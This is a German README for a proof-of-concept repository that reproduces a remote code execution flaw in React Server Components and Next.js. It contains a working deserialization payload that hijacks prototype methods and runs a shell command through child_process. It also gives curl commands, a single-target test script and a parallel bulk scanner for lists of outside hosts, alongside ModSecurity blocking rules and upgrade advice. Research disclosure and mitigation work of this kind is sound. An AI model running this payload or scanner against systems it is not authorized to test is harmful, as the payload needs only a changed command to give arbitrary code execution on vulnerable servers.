
Minimales MVP zur Reproduktion der React2Shell (CVE-2025-55182) und Next.js RSC RCE (CVE-2025-66478) Schwachstellen. Enthält Exploit-Payload, Batch-Scanning-Skript und ModSecurity WAF-Regeln zur Abschwächung.
Dies ist ein minimales MVP zur Reproduktion der Schwachstellen React2Shell (CVE-2025-55182) und Next.js RSC RCE (CVE-2025-66478).
Dieses Projekt dient ausschließlich Sicherheitsforschung und Bildungszwecken. Nicht in Produktionsumgebungen oder auf nicht autorisierten Systemen verwenden.
CVE-2025-55182 ist eine schwerwiegende Schwachstelle in React Server Components, die folgende Versionen betrifft:
Angreifer können durch speziell präparierte multipart/form-data-Anfragen eine Deserialisierungslücke im Flight-Protocol ausnutzen und Remote Code Execution (RCE) erreichen.
$@N-Syntax ein internes Chunk-Objekt referenzieren$1:__proto__:then eine bösartige -Methode injizierenthenawait die manipulierte then-Methode auf_formData.get als Function-Konstruktor kapernnpm install
# oder
yarn install
# oder
pnpm install
npm run dev
Der Server startet unter http://localhost:3000.
Mit dem bereitgestellten Testskript:
# Einzelner Zieltest
./test-exploit.sh http://localhost:3000
# oder direkt mit curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
Falls die Schwachstelle vorhanden ist, erscheint in der Antwort eine Ausgabe wie uid= (Ergebnis des id-Befehls).
.
├── app/
│ ├── actions.ts # Server Actions (Angriffspunkt)
│ ├── page.tsx # Hauptseite
│ ├── layout.tsx # Layout
│ └── globals.css # Globale Styles
├── package.json # Abhängigkeiten (betroffene Versionen)
├── next.config.js # Next.js-Konfiguration
├── test-exploit.sh # Einzeltest-Skript
├── scan-targets.sh # Bulk-Scan-Skript
├── exploit-payload.txt # Exploit-Payload-Datei
├── Cve-2025-55182-modsecurity-rules.conf # ModSecurity-Schutzregeln
└── README.md # Diese Datei
Testet eine einzelne URL auf die Schwachstelle:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
Erkennungsmerkmal: Enthält die Antwort uid= oder gid=, ist die Schwachstelle vorhanden.
Scannt mehrere Ziel-URLs parallel:
# Ziel-Listendatei erstellen
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# Bulk-Scan ausführen
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
Die Ergebnisse werden in vulnerable_hosts.csv gespeichert.
{
"then": "$1:__proto__:then", // Hijack der then-Methode
"status": "resolved_model", // Steuerung des Ausführungspfads
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // Auslösen der Blob-Deserialisierung
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // Als Function kapern
}
}
}
npm install [email protected] [email protected] [email protected]
Falls ein Upgrade nicht sofort möglich ist, können ModSecurity-Regeln zur vorübergehenden Abschwächung eingesetzt werden.
# 1. mod_security installieren
sudo apt-get install libapache2-mod-security2
# 2. Regeldatei kopieren
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. Regel in Apache-Konfiguration einbinden
sudo vim /etc/apache2/mods-enabled/security2.conf
# Hinzufügen: Include /etc/modsecurity/modsecurity-rules.conf
# 4. Apache neu starten
sudo systemctl restart apache2
# 1. ModSecurity for Nginx installieren
sudo apt-get install libnginx-mod-security
# 2. Regeldatei kopieren
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. In Nginx-Konfiguration aktivieren
sudo vim /etc/nginx/nginx.conf
# Im http- oder server-Block hinzufügen:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. Nginx neu starten
sudo systemctl restart nginx
Die ModSecurity-Regeln blockieren folgende Merkmale:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ Hinweis: WAF-Regeln sind nur eine vorübergehende Abschwächung und bieten keinen vollständigen Schutz. Ein Upgrade auf reparierte Versionen ist zwingend erforderlich.
Falls Ihre Anwendung betroffen sein könnte:
test-exploit.sh, um Ihre Anwendung zu prüfenNext-Action-AnfragenFalls Sie direkt mit curl testen möchten (ohne Skript):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
Enthält die Antwort uid= oder gid=, ist die Schwachstelle vorhanden.
Dieses Projekt dient ausschließlich Bildungszwecken. Bei der Nutzung dieses Codes sind die geltenden Gesetze und Vorschriften einzuhalten.